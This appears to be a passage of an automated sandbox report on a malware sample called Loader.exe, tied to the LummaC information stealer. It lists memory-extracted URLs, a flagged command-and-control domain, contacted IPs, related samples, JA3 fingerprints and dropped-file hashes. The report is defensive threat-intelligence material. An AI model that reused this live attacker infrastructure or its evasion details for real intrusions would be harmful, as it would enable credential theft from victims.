https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/glob	aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.st	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampow	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.co	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/uo	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003533000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/apis	aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steamp	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/discussions/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.st	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/workshop/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035BE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.b	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581746
Start date and time:	2024-12-28 22:04:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/2@11/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 37 Number of non-executed functions: 106
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:05:01	API Interceptor	12x Sleep call for process: aspnet_regiis.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.157.254	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	726odELDs8.exe	Get hash	malicious	LummaC	Browse
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse
23.55.153.106	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse
	SQHE4Hsjo6.exe	Get hash	malicious	LummaC	Browse
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
steamcommunity.com	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SQHE4Hsjo6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SQHE4Hsjo6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
CLOUDFLARENETUS	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.165.214
	!Set-up..exe	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16
	ZZ2sTsJFrt.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	FB.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://prowebideas.com/dsfdgfhgdfsdfdgfhgdrwet/gdfsdfdgfhgfgdfsdfdgfh/gfsdfdgfhgfgdfsdfdgfhgdfsdfdgfh	Get hash	malicious	Unknown	Browse	104.26.9.163
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.87.112
	test5.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	104.21.34.5

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	!Set-up..exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	SgMuuLxOCJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	SQHE4Hsjo6.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106

Process:	C:\Users\user\Desktop\Loader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Roaming\gdi32.dll

Download File

